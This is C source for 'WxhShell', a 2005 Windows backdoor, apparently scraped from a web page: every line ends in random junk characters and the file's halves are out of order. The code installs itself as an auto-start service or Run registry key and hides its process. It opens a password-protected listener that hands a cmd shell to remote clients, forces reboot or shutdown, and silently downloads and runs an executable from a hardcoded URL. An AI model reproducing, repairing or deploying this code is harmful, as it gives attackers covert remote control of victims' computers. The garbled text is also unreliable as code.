    if(Boot(SHUTDOWN)) `g1Oon_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S>,I&`yi  
    else { I5L7BTe  
    closesocket(wsh); >.iw8#l  
    ExitThread(0); /=@vG Vp6  
    } %&Cl@6  
    break; ~qS/90,  
    } c Vn+~m_%  
  // 获取shell V</T$V$  
  case 's': { xiF%\#N  
    CmdShell(wsh); X6.O ;  
    closesocket(wsh); lAk1ncx  
    ExitThread(0); ^eW.hNg  
    break; ?X'* p<`  
  } ?i~/gjp  
  // 退出 f4S@lyYF  
  case 'x': { {_Qxe1^g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); / D ]B  
    CloseIt(wsh); 3@] a#>  
    break; <~M9 nz(<  
    } CLfb`rF  
  // 离开 ?Q)Z..7  
  case 'q': { winJ@IYW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f hG2  
    closesocket(wsh); 0lCd,a 2:  
    WSACleanup(); DH9?2)aR  
    exit(1); ~Ls I<z  
    break; -^H5z+"^  
        } ~{YgM/c|dt  
  } MNqyEc""  
  } AtlR!I EUb  
_CJr6Evs  
  // 提示信息 %GbPrlu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5vi#ItN}|  
} .p9h$z^  
  } T(UYlLe  
X&s\_jQ  
  return; a{HgIQg_>R  
} &H1D!N  
R6Mxdm2P}  
// shell模块句柄 bM^A9BxD  
int CmdShell(SOCKET sock) 0Eu$-)  
{ f_h"gZWV  
STARTUPINFO si; Z 034wn\N  
ZeroMemory(&si,sizeof(si)); ]8>UII,US  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d4>-a^)V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N#['fg'  
PROCESS_INFORMATION ProcessInfo; sLa)~To  
char cmdline[]="cmd"; P .4b+9T x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L*01l"5  
  return 0; ;9p5YxD  
} 0nz@O^*g(  
,XG|oo -  
// 自身启动模式 M(zY[O  
int StartFromService(void) _@pf1d$  
{ ilp;@O6  
typedef struct 3ZL7N$N}7  
{ tW.>D;8  
  DWORD ExitStatus; d)1sP0Z_@  
  DWORD PebBaseAddress; +'j*WVE%5  
  DWORD AffinityMask; :.[5('  
  DWORD BasePriority; b/,!J] W  
  ULONG UniqueProcessId; cvV?V\1f  
  ULONG InheritedFromUniqueProcessId; 3b)T}g  
}   PROCESS_BASIC_INFORMATION; B Ff. Rd95  
0rJ\e  
PROCNTQSIP NtQueryInformationProcess; 199hQxib:  
a^\- }4yR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8wpwJs&V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @~#79B"9&  
Be>c)90bO_  
  HANDLE             hProcess; pL}j ZTo  
  PROCESS_BASIC_INFORMATION pbi; k3/JQ]'D  
[^d6cMEOlc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ok%a|Zz+]  
  if(NULL == hInst ) return 0; ooU Sb  
-~O;tJF2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D0y,TF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `-K)K<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /zG-\eU  
v(@+6#&  
  if (!NtQueryInformationProcess) return 0; N 1f~K.e\  
.A"T086  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K~y9zF{  
  if(!hProcess) return 0; TaQ "G  
\LoSUl i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <W=[ sWJ  
v`+n`DT  
  CloseHandle(hProcess); F {*9[jY  
{uwk[f{z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $, &g AU  
if(hProcess==NULL) return 0; :^-HVT)qF  
??zABV  
HMODULE hMod; dy6F+V\DG  
char procName[255]; 4&]To@>  
unsigned long cbNeeded; X\p`pw$  
uU[[[LQq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $-fjrQ  
0 bPJEEd  
  CloseHandle(hProcess); k$0|^GL8  
i_9Cc$Qh<  
if(strstr(procName,"services")) return 1; // 以服务启动 g3|Y$/J7P  
+1+A3  
  return 0; // 注册表启动 =2g[tsY  
} =JbdsYI(  
Qor{1_h)+9  
// 主模块 B=q)}aWc  
int StartWxhshell(LPSTR lpCmdLine) 8!&ds~?  
{ >d27[%  
  SOCKET wsl; _!C)r*0(  
BOOL val=TRUE; k;K> ,$ F  
  int port=0; z%}CB Tm  
  struct sockaddr_in door; x<{;1F,k3  
liCCc;&B;  
  if(wscfg.ws_autoins) Install(); D,GPn%Wqi  
<r7qq$  
port=atoi(lpCmdLine); e"o6C\c  
V 4\^TO`q=  
if(port<=0) port=wscfg.ws_port;  J:~[ j  
+YQ~t,/  
  WSADATA data; -VreBKn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3lLW'g&=  
XUQW;H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JI+KS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y>78h2AU  
  door.sin_family = AF_INET; BYr_Lz|T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J:g<RZZ1  
  door.sin_port = htons(port); Z/NGv  
Jv 6nlK`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EDq$vB  
closesocket(wsl); ~ C/Yv&58  
return 1; e_I; y  
} c#\ah}]Vo  
oRT  
  if(listen(wsl,2) == INVALID_SOCKET) { HIPcZ!p  
closesocket(wsl); .y %pGi  
return 1; M 9(ez7Z  
} Xc8= 2n  
  Wxhshell(wsl); JK(`6qB>(6  
  WSACleanup();  fW5" 4,  
&prdlh=UE  
return 0; L)kb (TH  
teq^xTUF[  
} #51 4a(6  
gJFR1  
// 以NT服务方式启动 |n|U;|'^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RI[7M (  
{ }J+ ce  
DWORD   status = 0; %jbJ6c  
  DWORD   specificError = 0xfffffff; *2qh3  
TZ&4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9atjK4+o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  Z;j/K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ||{T5E-.F  
  serviceStatus.dwWin32ExitCode     = 0; 5YTb7M  
  serviceStatus.dwServiceSpecificExitCode = 0; *} *!+C3  
  serviceStatus.dwCheckPoint       = 0; cS"f  
  serviceStatus.dwWaitHint       = 0; w|!YoMk+o  
nV!2Dfd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xk{!' 0  
  if (hServiceStatusHandle==0) return; Z-^uM`],G  
rQu  
status = GetLastError(); '2Q.~6   
  if (status!=NO_ERROR) J<b3"wK0[  
{ RL7C YB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jgo e^f  
    serviceStatus.dwCheckPoint       = 0; 4c5^7";P  
    serviceStatus.dwWaitHint       = 0; 8N=%X-R%  
    serviceStatus.dwWin32ExitCode     = status; H$NP1^5!  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]Y_{P~ZX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ntrY =Y  
    return; L Yh@ u1p  
  } _-4n ~(  
A|p@\3 P*A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }Kv h`@CiJ  
  serviceStatus.dwCheckPoint       = 0; |_l<JQvf`E  
  serviceStatus.dwWaitHint       = 0; &ui:DZAxj|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i&A{L}eCr:  
} VqcBwJ!?p  
Gkdm7SV  
// 处理NT服务事件,比如:启动、停止 :[y]p7;{f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Nj0-`j0E  
{ Y5n z?a  
switch(fdwControl) VKq0 <+M  
{ $Nj'OJSj%  
case SERVICE_CONTROL_STOP: @+}rEe_(  
  serviceStatus.dwWin32ExitCode = 0; JfI aOhKs]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .o-0aBG  
  serviceStatus.dwCheckPoint   = 0; C/mg46 v2W  
  serviceStatus.dwWaitHint     = 0; @MNl*~'$.[  
  { [MV`pF)x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AC 9{*K[  
  } ggerh#  
  return; 7[ZkM+z!  
case SERVICE_CONTROL_PAUSE: Jn@Z8%B@Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .yZK.[x4  
  break; l\K%  
case SERVICE_CONTROL_CONTINUE: 7ZS>1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UJ7'JBT=k  
  break; jK3giT  
case SERVICE_CONTROL_INTERROGATE: `)rg|~#k  
  break; |?\gEY-Se  
}; %)zk..K{l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9k+N3vA  
} v57N^DR{  
U8 Z~Y}29  
// 标准应用程序主函数 \\Y,?x_0T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gb.f%rlZ`  
{ Q{H17]W  
TF BYY{Y  
// 获取操作系统版本 T&?w"T2y  
OsIsNt=GetOsVer(); $-m@KB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9uuta4&uI  
5gO /-Zj  
  // 从命令行安装 %l Q[dXp  
  if(strpbrk(lpCmdLine,"iI")) Install(); J$1j-\KS  
CkRyzF  
  // 下载执行文件 [?;`x&y~y  
if(wscfg.ws_downexe) { gsnP!2cR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =hJfL}&O3  
  WinExec(wscfg.ws_filenam,SW_HIDE); +2- qlU  
} S$S_nNq  
y:qx5Mi  
if(!OsIsNt) { Z+Kv+GmqH  
// 如果时win9x,隐藏进程并且设置为注册表启动 K|`+C1!  
HideProc(); VMaS;)0f@  
StartWxhshell(lpCmdLine); j%#?m2J}  
} P;j&kuW|zL  
else u@AI&[Z  
  if(StartFromService()) aL88E  
  // 以服务方式启动 \s,Iz[0Vfz  
  StartServiceCtrlDispatcher(DispatchTable); 7@FDBjq  
else 3}08RU7[!  
  // 普通方式启动 )\8URc|J  
  StartWxhshell(lpCmdLine); cN62M=**  
66/Z\H^d  
return 0; E^7C _JP  
} D0f*eSXE{  
 ~q*i;*  
#]@9qPyn  
cZ^wQ5=  
=========================================== 5(423"(y  
Ud$Q0m&  
Tj Mb>w9  
DG3[^B  
D`en%Lf!m  
_8al  
" +-U@0&Y3M  
FH4u$ g+  
#include <stdio.h> a|U}Ammr  
#include <string.h> I=U+GY:  
#include <windows.h> ]y.R g{iv  
#include <winsock2.h> VF\{ra;  
#include <winsvc.h> l`DtiJ?$$0  
#include <urlmon.h> 4 ^4d9?c  
]Qd{ '}+  
#pragma comment (lib, "Ws2_32.lib") IeZ&7u  
#pragma comment (lib, "urlmon.lib") `(3SfQ-  
i^R{Ul[  
#define MAX_USER   100 // 最大客户端连接数 %?Rs*-F.~1  
#define BUF_SOCK   200 // sock buffer e]>/H8  
#define KEY_BUFF   255 // 输入 buffer e$HQuA~Q;  
n|6?J_{<b>  
#define REBOOT     0   // 重启 'm[6v}  
#define SHUTDOWN   1   // 关机 f?Z|>3.2  
%Mh Q  
#define DEF_PORT   5000 // 监听端口 <3lUV7!  
l"kx r96  
#define REG_LEN     16   // 注册表键长度 `-o5&>'nf  
#define SVC_LEN     80   // NT服务名长度 {>/)5 AGs  
&2Q*1YXj  
// 从dll定义API R'L?Xn}3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {H+?z<BF<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J,RDTXqn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !I~C0u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #VO.%H}i  
s1{[{L3  
// wxhshell配置信息 un6cD$cHr  
struct WSCFG { `%oIRuYG]j  
  int ws_port;         // 监听端口 =rEA:Q`~w  
  char ws_passstr[REG_LEN]; // 口令 aV<^IxE;  
  int ws_autoins;       // 安装标记, 1=yes 0=no xHHV=M2l(s  
  char ws_regname[REG_LEN]; // 注册表键名 &-=K:;x  
  char ws_svcname[REG_LEN]; // 服务名 "NKf0F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {8 N=WZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x )3~il5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j AQU~Ol_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C-Ig_Nc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"   La9r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a&C.=  
4#_$@ r  
}; R5~gH6K|  
7D   
// default Wxhshell configuration  #I;D  
struct WSCFG wscfg={DEF_PORT, qcYNtEs*c  
    "xuhuanlingzhe", Z^*NnL.'  
    1, )yrAov\z*  
    "Wxhshell", ./7v",#*.'  
    "Wxhshell", Sl"BK0:%7  
            "WxhShell Service", @UO}W_0ZD  
    "Wrsky Windows CmdShell Service", }"n7~|  
    "Please Input Your Password: ", qi&D+~Gv!  
  1, U;p e:  
  "http://www.wrsky.com/wxhshell.exe", 1M+oTIN  
  "Wxhshell.exe" N 'i,>  
    }; -6`;},Yr  
a8zZgIV  
// 消息定义模块 mB`D}g$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lufeieW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L<=)@7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (UGol[f<  
char *msg_ws_ext="\n\rExit."; 'B`#:tX^N  
char *msg_ws_end="\n\rQuit."; =*O=E@]  
char *msg_ws_boot="\n\rReboot..."; f TO+ZTRqf  
char *msg_ws_poff="\n\rShutdown..."; Tm_8<$ 7  
char *msg_ws_down="\n\rSave to "; dMV=jJ%Y  
bK4&=#Zh  
char *msg_ws_err="\n\rErr!"; x,\!DLq:p  
char *msg_ws_ok="\n\rOK!"; q$T8bh,2  
4sIX O  
char ExeFile[MAX_PATH]; NI.`mc6X d  
int nUser = 0; i4<BDX5  
HANDLE handles[MAX_USER]; *T1~)z}j<  
int OsIsNt; y(}Eko4u5  
\2 >?6zs  
SERVICE_STATUS       serviceStatus; _=EZ `!%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h>klTPM>  
I+",b4  
// 函数声明 Vo M6  
int Install(void); "r..  
int Uninstall(void); ! Mo`^ t  
int DownloadFile(char *sURL, SOCKET wsh); LG&5VxT=,<  
int Boot(int flag); |` "?  
void HideProc(void); ;& |qSa'  
int GetOsVer(void); 'MN1A;IJ  
int Wxhshell(SOCKET wsl); +/y]h 0aa  
void TalkWithClient(void *cs); gu<V (M\  
int CmdShell(SOCKET sock); \[ M_\&GC  
int StartFromService(void); $;`I,k$0>~  
int StartWxhshell(LPSTR lpCmdLine); [;^,CD|P  
=|,A%ZGF$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =cn~BnowY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 41yOXy ;~l  
0x~`5h  
// 数据结构和表定义 ^A!$i$NON  
SERVICE_TABLE_ENTRY DispatchTable[] = o @KW/RN"  
{ vq>l>as9O  
{wscfg.ws_svcname, NTServiceMain}, b\giJ1NJB  
{NULL, NULL} ,Sg33N ?  
}; opD-vDa h  
bX2"89{  
// 自我安装 L/i(KF{  
int Install(void) ARWZ; GX  
{  D:JS)+]  
  char svExeFile[MAX_PATH]; 9i%9   
  HKEY key; wf9z"B  
  strcpy(svExeFile,ExeFile); %K1")s  
u7].}60.'  
// 如果是win9x系统,修改注册表设为自启动 z"UPyW1?  
if(!OsIsNt) { _a5(s2wq+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,2,5Odrz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x=*L-  
  RegCloseKey(key); e&1 \'Zq?>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mu2`ODe]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OCK>%o$[  
  RegCloseKey(key); pM2a(\K,k^  
  return 0; m@\ZHbq  
    } re`t ]gzb  
  } 0^&!6R  
} 2|{V,!/cvG  
else { 2d`c!  
;LMWNy4  
// 如果是NT以上系统,安装为系统服务 6ep>hS4A&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Vz"u>BP3~  
if (schSCManager!=0) .=<$S#x^Hb  
{ E FY@Y[  
  SC_HANDLE schService = CreateService o8ppMM8_R[  
  ( XUS vhr$|  
  schSCManager, !#}7{  
  wscfg.ws_svcname, O3qM1-k}S  
  wscfg.ws_svcdisp, Phs-(3  
  SERVICE_ALL_ACCESS, Cq\I''~8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :2y"3azxk  
  SERVICE_AUTO_START, B42sb_  
  SERVICE_ERROR_NORMAL, zwr\:Hu4  
  svExeFile, "b,%8  
  NULL, 1@_T  m  
  NULL, #/ "+  
  NULL, Z cpmquf8L  
  NULL, /3B6 Mtb  
  NULL _0(7GE13p  
  ); b{5K2k&,  
  if (schService!=0) Tlodn7%",  
  { p]ivf  
  CloseServiceHandle(schService); GEe`ZhG,  
  CloseServiceHandle(schSCManager); J/W{/E>;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RU&_j* U  
  strcat(svExeFile,wscfg.ws_svcname); Bs!4H2@{(]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FxRXPt FK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r;gP}H ?  
  RegCloseKey(key); y%cO#P@  
  return 0; 2UadV_s+s  
    } _MfD   
  } .C bGDZ  
  CloseServiceHandle(schSCManager); 1-VT}J(  
} NlF}{   
} 'q{733o  
Vrp[r *V@E  
return 1; 6`\ya@  
} ]R IVc3?;$  
I%lE;'x  
// 自我卸载 -]S.<8<$  
int Uninstall(void) G>z,#Xt  
{ ,Em$!n  
  HKEY key; .}`hCt08  
_*6v|Ed?  
if(!OsIsNt) { k\7:{y@,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XDz5b.,  
  RegDeleteValue(key,wscfg.ws_regname); ^^Jnv{)  
  RegCloseKey(key); EKZVF`L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HeA{3s  
  RegDeleteValue(key,wscfg.ws_regname); :c]`D>  
  RegCloseKey(key); ~<9{#uM  
  return 0; K@:m/Z}|4  
  } HY}j!X  
} +R.N%_  
} MI#mAg<  
else { 5VE2@Fn}  
rg QEUDEQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m~`>`4  
if (schSCManager!=0) - u3e5gW  
{ )TmtSSS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >-)h|w i  
  if (schService!=0) %[QV,fD'E  
  { }e]f  
  if(DeleteService(schService)!=0) { 39TT{>?`w  
  CloseServiceHandle(schService); O'DW5hBL0  
  CloseServiceHandle(schSCManager); lU2c_4  
  return 0; 7;}l\VXHm  
  } o>lms t%<  
  CloseServiceHandle(schService); yTBS=+X  
  } 2eP ;[o  
  CloseServiceHandle(schSCManager); l{WjDed  
} Oejq@iM"(  
} , c;eN  
\nvAa_,  
return 1; {]}s#vvy  
} @QEqB_W  
0pgY1i7  
// 从指定url下载文件 53OJ-m%a  
int DownloadFile(char *sURL, SOCKET wsh) $t =O:  
{ 3f76kl(&  
  HRESULT hr; 6][1 <}8  
char seps[]= "/"; H-5<S@8  
char *token; % _M2N.n  
char *file; wts:65~  
char myURL[MAX_PATH]; %$ceJ`%1e  
char myFILE[MAX_PATH]; ^ 4hO8  
k#JQxLy#  
strcpy(myURL,sURL); j 6)Y  
  token=strtok(myURL,seps); bKbp?-]  
  while(token!=NULL) O&Z' r  
  { kBEmmgL  
    file=token; ;N=G=X|}  
  token=strtok(NULL,seps); " Ar*QJ0]  
  } g!J0L7 i|  
/Z%>ArAx  
GetCurrentDirectory(MAX_PATH,myFILE); I!: z,t<  
strcat(myFILE, "\\"); NCS!:d:Ry  
strcat(myFILE, file); )j&"%[2F  
  send(wsh,myFILE,strlen(myFILE),0); F # YPOH  
send(wsh,"...",3,0); 'cdN3i(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Iw=Sq8  
  if(hr==S_OK) }nx=e#[g%2  
return 0; I$q>  
else *OTS'W~t  
return 1; S"2qJ!.u  
+8P,s[0<R_  
} w YNloU  
&jQ?v@|1c  
// 系统电源模块 (Xx n\*S  
int Boot(int flag) n&XGBwgW  
{ Qvoqx>2p5  
  HANDLE hToken; g"8 .}1)~r  
  TOKEN_PRIVILEGES tkp; 0~gO'*2P  
oduDA:  
  if(OsIsNt) { y=sGe!^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f@V3\Z/6E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a}nbo4jK  
    tkp.PrivilegeCount = 1; Y:QD   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -=}3j&,\R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8g/F)~s^F  
if(flag==REBOOT) { V64L,u#`l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Zm TDQ`Ix  
  return 0; ^y_fRP~  
} `sHuM*  
else { +V(5w`qx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I=Zx"'Um  
  return 0; i76 Yo5  
} ?pGkk=,KB  
  } 3`V1XE.;  
  else { O/Y)&VG7  
if(flag==REBOOT) { (M-ZQ -  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z4U9n'{  
  return 0; %}Q&1P=  
} }=}>9DS M  
else { b\55,La  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jobiq]|>  
  return 0; U]4pA#*{|  
} yfNX7  
} y&J@?Hc>  
$ 0Yh!L?\  
return 1; 34 AP(3w  
} CQg X=!q  
wzWbB2Mb5  
// win9x进程隐藏模块 j ) vlM+  
void HideProc(void) u:gtOjk2  
{ e]>ori 8  
h5zVGr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZU2laqa_  
  if ( hKernel != NULL ) WOytxE  
  { 3K0tC=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `iShJz96  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JC;^--0(z  
    FreeLibrary(hKernel); u' Qd,  
  } U yqXMbw@  
B5am1y{P#  
return; .V'V:;BE%  
} A7XnHPIw  
QDmYSY$  
// 获取操作系统版本 #=e;?w  
int GetOsVer(void) JqUADm  
{ &Vk; VM`5  
  OSVERSIONINFO winfo; !^fa.I'mM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^s/  
  GetVersionEx(&winfo); c@m5 ~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u b?K,  
  return 1; T~8  .9g  
  else g=)J~1&p  
  return 0; <g2_6C\j  
} i, nD5 @#  
]rBM5~  
// 客户端句柄模块 )hKS0`$|  
int Wxhshell(SOCKET wsl) }OShT+xeX  
{ j8,n7!G  
  SOCKET wsh; >um!Eo  
  struct sockaddr_in client; VL( <  
  DWORD myID; V,7%1TZ:  
mz7l'4']+  
  while(nUser<MAX_USER) ww d'0P`/  
{ 2h^WYpCm  
  int nSize=sizeof(client); e&I t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rJfqA@  
  if(wsh==INVALID_SOCKET) return 1; *gsAn<  
{y^3> 7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =d;Vk  
if(handles[nUser]==0) !cEG}(|h  
  closesocket(wsh); $A\m>*@  
else ekSY~z=/u  
  nUser++; i^z`"3#LE  
  } wVK*P -C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QGnxQ{ko  
3eIr{xs  
  return 0; nY?  
} }k$4/7ri  
g<*jlM1r  
// 关闭 socket S4NL "m  
void CloseIt(SOCKET wsh) eo]#sf@\0  
{ 0Ce]V,i6C>  
closesocket(wsh); ik1tidw  
nUser--; n(Y%Vmy  
ExitThread(0); rx ~[Zs+*  
} 5t:8.%<UK  
0au)g!ti  
// 客户端请求句柄 '{?C{MK3Q  
void TalkWithClient(void *cs) YhKZ|@  
{  NY  
FpV`#6i7  
  SOCKET wsh=(SOCKET)cs; YrI|gz)  
  char pwd[SVC_LEN]; R""%F#4XJ2  
  char cmd[KEY_BUFF]; %uESrc-;  
char chr[1]; *e.*=$  
int i,j; ;]D(33) (  
H6kf K5,  
  while (nUser < MAX_USER) { D}mL7d1  
&wH:aD  
if(wscfg.ws_passstr) { QOFvsJ<s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H:&?ha,9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >O`l8tM  
  //ZeroMemory(pwd,KEY_BUFF); eBW=^B"y+  
      i=0; Jcf"#u-Q/  
  while(i<SVC_LEN) { ~XM[>M\qB  
Q'NmSX)0  
  // 设置超时 9>*c_  
  fd_set FdRead; czWw~'."  
  struct timeval TimeOut; 4 2) mM#  
  FD_ZERO(&FdRead); *b(wVvz  
  FD_SET(wsh,&FdRead); 4n( E;!s  
  TimeOut.tv_sec=8; ^J=hrYGA  
  TimeOut.tv_usec=0; 6o&ZIYJ9k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oh8L`=>&a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PBqy F  
+",S2Qmo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {5Lj8 N5  
  pwd=chr[0]; 6.Ie\5-a;  
  if(chr[0]==0xd || chr[0]==0xa) { &]p}+{ (>  
  pwd=0; ".2K9j7$  
  break; f_mhD dq  
  } .QWhK|(.!  
  i++; =jAFgwP\  
    } @uleyB  
I`B'1"{  
  // 如果是非法用户,关闭 socket iDb;_?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xp \S2@<  
} u</8w&!  
I+?hG6NM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rs8\)\z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B&KL2&Z~Pq  
{ShgJ ;! Q  
while(1) { mB 55PYA  
3Kq`<B~%  
  ZeroMemory(cmd,KEY_BUFF); \{|ImCH  
x-m/SI]_N  
      // 自动支持客户端 telnet标准   _2Py\+$  
  j=0; OKue" p  
  while(j<KEY_BUFF) { sRRI3y@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dbGgD=}o  
  cmd[j]=chr[0]; c$M%G)P  
  if(chr[0]==0xa || chr[0]==0xd) { /Bv#) -5  
  cmd[j]=0; y.a]r7  
  break; 5N/Lk>p1u  
  } |Ur"za;%@  
  j++; D0bnN1VP  
    } fib#CY  
*:"^[Ckc  
  // 下载文件 ? 5|/ C  
  if(strstr(cmd,"http://")) { gSi5u# }J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HMQI&Lh=U  
  if(DownloadFile(cmd,wsh)) ZW4aY}~)$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mf$j03tu  
  else UsW5d]i}Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t 0O4GcAN  
  } hSV@TL  
  else { W Ox_y,  
 @|A|  
    switch(cmd[0]) { khX|" d360  
